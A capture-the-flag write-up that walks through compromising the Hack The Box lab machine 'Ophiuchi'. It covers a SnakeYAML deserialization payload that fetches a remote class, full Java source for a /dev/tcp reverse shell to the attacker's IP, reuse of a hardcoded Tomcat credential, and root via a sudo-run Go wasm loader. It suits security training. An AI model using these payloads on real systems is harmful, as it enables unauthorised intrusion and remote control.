Name | Ophiuchi | |
Difficulty | Medium | |
Release Date | 2021-02-13 | |
Retired Date | 2021-07-03 | |
IP Address | 10.10.10.227 | |
OS | Linux | |
Points | 30 |
foothold
Here we go again for a new Box. Let’s scan it and check what we have here:
# Nmap 7.80 scan initiated Wed Jun 2 11:18:51 2021 as: nmap -p- -sV -sC -oN nmap 10.10.10.227
Nmap scan report for 10.10.10.227
Host is up (0.042s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 2 11:19:28 2021 -- 1 IP address (1 host up) scanned in 37.29 seconds
We have Apache Tomcat (version 9.0.38) listening on port 8080, and besides that, just ssh.
Let’s check the website.
Cool, an online YAML parser. I tried to put in some text in there to check what it was actually doing but it came back with this message:
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
Humm, something is going on in there π And it was nothing I tried (yet) π.
Since there’s not much to be seen here I fired up gobuster
to check for hidden stuff:
$ gobuster dir -u http://10.10.10.227:8080 -w /usr/share/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.227:8080
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/06/02 11:25:01 Starting gobuster
===============================================================
/Servlet (Status: 200)
/manager (Status: 302)
/test (Status: 302)
/yaml (Status: 302)
===============================================================
2021/06/02 11:26:32 Finished
===============================================================
Well, nothing here either.
/Servlet
is just then endpoint you get redirected to after submitting some “YAML”;/manager
is password protected and is the Tomcat Manager interface;/test
just redirects to/test/
and 404’s;/yaml
is the actual page we’ve seen before.
With no entrypoint to be seen, I decided to run nikto
on the site to see if I was missing something:
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.227
+ Target Hostname: 10.10.10.227
+ Target Port: 8080
+ Start Time: 2021-06-02 11:39:00 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /manager/html: Default Tomcat Manager / Host Manager interface found
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found
+ /manager/status: Default Tomcat Server Status interface found
+ 5356 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2021-06-02 11:43:28 (GMT1) (268 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Not much we didn’t knew already. The allowed PUT and DELETE methods did deserve my attention, and I did try to use them, but they didn’t really work so I just classified them as false-positives.
I also looked for vulnerabilities on Tomcat 9.0.38 but came up empty handed, so, having checked everything for the most obvious (vulnerable versions, hidden stuff, etc.), I decided to get back to the website and our “YAML Parser”. I tried for a little to input some valid and invalid YAML to see if the message that appeared before would go away, but everything would result in the same message.
The only “input” I had was really just that HTML form so I went to search for something related with YAML and Tomcat.
Well look at that! There’s actually something with this “combo”. I dived right in on that first link and read everything. So, bottom line is, SnakeYaml
has a deserilization problem where it can be tricked to load some java class controlled by an attacker. To trigger the external class loading, and check that the application is vulnerable we just have to supply this YAML:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.234:9000/"]
]]
]
If we have a web server running on that port, we should see requests coming in from the server:
$ python -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.10.227 - - [03/Jun/2021 16:57:25] code 404, message File not found
10.10.10.227 - - [03/Jun/2021 16:57:25] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -
There we go! Our YAML Parser is vulnerable. Now we just need to create the correct infrastructure it needs to exploit the vulnerability and we’ll have code execution on the box.
First, we need to supply that javax.script.ScriptEngineFactory
file that the sole purpose is to point out the name of the next class to load. We’ll create a class named revshell
on a package named r3pek
to actually pop the reverse shell, so this file will is really simple:
$ mkdir exploit
$ mkdir -p META-INF/services/
$ echo "r3pek.revshell" >> META-INF/services/javax.script.ScriptEngineFactory
There we go, now that it knows what class to load, we just need to supply it with one. First we create a .java
file with our code:
1package r3pek;
2
3import javax.script.ScriptEngine;
4import javax.script.ScriptEngineFactory;
5import java.io.IOException;
6import java.util.List;
7
8public class revshell implements ScriptEngineFactory {
9 public revshell() {
10 try {
11 String [] cmd = {"bash","-c","bash -i >& /dev/tcp/10.10.14.234/5555 0>&1"};
12 Runtime.getRuntime().exec(cmd);
13 } catch (Exception e) {
14 e.printStackTrace();
15 }
16 }
17 @Override
18 public String getEngineName() {
19 return null;
20 }
21 @Override
22 public String getEngineVersion() {
23 return null;
24 }
25 @Override
26 public List < String > getExtensions() {
27 return null;
28 }
29 @Override
30 public List < String > getMimeTypes() {
31 return null;
32 }
33 @Override
34 public List < String > getNames() {
35 return null;
36 }
37 @Override
38 public String getLanguageName() {
39 return null;
40 }
41 @Override
42 public String getLanguageVersion() {
43 return null;
44 }
45 @Override
46 public Object getParameter(String key) {
47 return null;
48 }
49 @Override
50 public String getMethodCallSyntax(String obj, String m, String... args) {
51 return null;
52 }
53 @Override
54 public String getOutputStatement(String toDisplay) {
55 return null;
56 }
57 @Override
58 public String getProgram(String... statements) {
59 return null;
60 }
61 @Override
62 public ScriptEngine getScriptEngine() {
63 return null;
64 }
65}
Interesting part here is really just the constructor method where the reverse shell command is executed.
Just as a side story, I literally spent hours debugging why the shell wouldn’t pop but every other command that I sent would execute. At the time, what I had on the cmd
variable was this:
String cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.234/5555 0>&1'";
The shell would never pop and no error was returned. I knew the code was executing becase I even tried replacing the command with ping -c 4 10.10.14.234
and I could see the ICMP packets coming on the interface with tcpdump
. Turns out that Runtime.getRuntime().exec()
messes up the argument list when sending the command to the OS mixing which part of the text is a parameter to what command, leading the nothing getting executed (or with errors). The solution to that was actually passing a String[]
to the .exec()
method so the parameter list is well defined.
Now, all that is needed is to compile the java class, check if the directory structure is ok, open up a netcat
listener and fire up the payload on the YAML Parser site:
And there we have it, our reverse shell and our foothold! π₯³
user flag
From the user tomcat
to “normal” user, the usual is to have some hardcoded user/password combo that we can use. In this case, I immediately remembered the /manager
endpoint that was password protected. According to the docs, those users are defined on the tomcat-users.xml
configuration file. This file is found on /opt/tomcat/conf
and inside we find this line:
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
And the available user actually matches the one that exists on the box:
tomcat@ophiuchi:~/conf$ grep admin /etc/passwd
grep admin /etc/passwd
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
admin:x:1000:1000:,,,:/home/admin:/bin/bash
Yes, it’s the actuall user’s password π. Just ssh in, and get the user flag πͺ.
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ cat user.txt
e214e3636c6f2fe02f66c259f30c593b
root flag
Now we need to escalate to user root
to read the root flag. Let’s check sudo
for allowed commands:
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Looks like we’re allowed to run some Go written program, and it might have something to do with Wasm (WebAssembly)?! I’m no web developer, and never actually touched Go, but oh well, how hard can it be? Let’s take a look at the index.go
:
1package main
2
3import (
4 "fmt"
5 wasm "github.com/wasmerio/wasmer-go/wasmer"
6 "os/exec"
7 "log"
8)
9
10
11func main() {
12 bytes, _ := wasm.ReadBytes("main.wasm")
13
14 instance, _ := wasm.NewInstance(bytes)
15 defer instance.Close()
16 init := instance.Exports["info"]
17 result,_ := init()
18 f := result.String()
19 if (f != "1") {
20 fmt.Println("Not ready to deploy")
21 } else {
22 fmt.Println("Ready to deploy")
23 out, err := exec.Command("/bin/sh", "deploy.sh").Output()
24 if err != nil {
25 log.Fatal(err)
26 }
27 fmt.Println(string(out))
28 }
29}
Simple program here, and actually, easy to read even for someone that never coded a single line of Go. What I understood of the program is:
- loads
main.wasm
- runs the wasm
info()
function that should be exported - checks if return value of
info()
, converted to a String, is"1"
- if it’s different from
"1"
, just printNo ready to deploy
- if equals
"1"
, rundeploy.sh
script and print it’s result.
- if it’s different from
Ah damn it. Now I need to learn wasm π. Shouldn’t be too hard anyway, just have to export a function that actually returns 1
. I decided to do a quick search for some wasm online compilers and ended up finding this WebAssembly Explorer. I went ahead and wrote a simple function:
int info() {
return 1;
}
Hit the Compile
button and then Download
. Now we have the wasm
file needed to pass the first check. Let’s just see if this works:
admin@ophiuchi:~$ mkdir .r3pek
admin@ophiuchi:~$ cd .r3pek
admin@ophiuchi:~/.r3pek$ mv ../test.wasm .
admin@ophiuchi:~/.r3pek$ mv test.wasm main.wasm
admin@ophiuchi:~/.r3pek$ sudo go run /opt/wasm-functions/index.go
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x4b56c8]
goroutine 1 [running]:
main.main()
/opt/wasm-functions/index.go:17 +0x118
exit status 2
Ok, I’m really bad at this and I can’t even get a damn return 1;
function right. I went back and looked at the 3 lines I have written, and of course, there’s nothing wrong. One thing popped at me though, on the Wat
column, there was this export "_Z4infov" (func $_Z4infov))
line which looked like somehow it was encoding the function name being exported. If this was true, the Go program would never find the info()
function it was looking for and that would break things. Just to be sure, I downloaded wasm-dump
which can check what a wasm file contains.
$ go/bin/wasm-dump -x Downloads/test.wasm
Downloads/test.wasm: module version: 0x1
section details:
type:
- type[0] <func [] -> [i32]>
function:
- func[0] sig=0
table:
- table[0] type=anyfunc initial=0
memory:
- memory[0] pages: initial=1
global:
export:
- function[0] -> "_Z4infov"
- memory[0] -> "memory"
Ah! Ok, now I understand the problem. Let’s just go back to the webpage where we generated the wasm file and try flip some switches on the left side, to be able to not change the function names when exported.
After flipping everything on and off, what actually made it change the name of the exported function, was to change the compiler from C++11 to C99. Now, check with wasm-dump
before uploading the file to the box:
$ go/bin/wasm-dump -x Downloads/test.wasm
Downloads/test.wasm: module version: 0x1
section details:
type:
- type[0] <func [] -> [i32]>
function:
- func[0] sig=0
table:
- table[0] type=anyfunc initial=0
memory:
- memory[0] pages: initial=1
global:
export:
- function[0] -> "info"
- memory[0] -> "memory"
Much better! Now let’s try this on the box:
admin@ophiuchi:~/.r3pek$ sudo go run /opt/wasm-functions/index.go
Ready to deploy
2021/06/03 21:35:49 exit status 127
exit status 1
We’re now ready to deploy! π₯³ Just need to write something useful on that deploy.sh
file. What can it be? π€
admin@ophiuchi:~/.r3pek$ echo cat /root/root.txt > deploy.sh
admin@ophiuchi:~/.r3pek$ sudo go run /opt/wasm-functions/index.go
Ready to deploy
c9b23fca0e0f7cd475eb945cd2ce6630
And we have our root
flag!
root password hash
$6$oPgtRE0IgWrXKitG$Z5FyXxEXm5l.skZbIBKm0poPFPUxgZVY5DPii0DFsQgSBiL98ioRBuHDVzOHaZCgH.xyLnpGIksHlfBXC4LQo/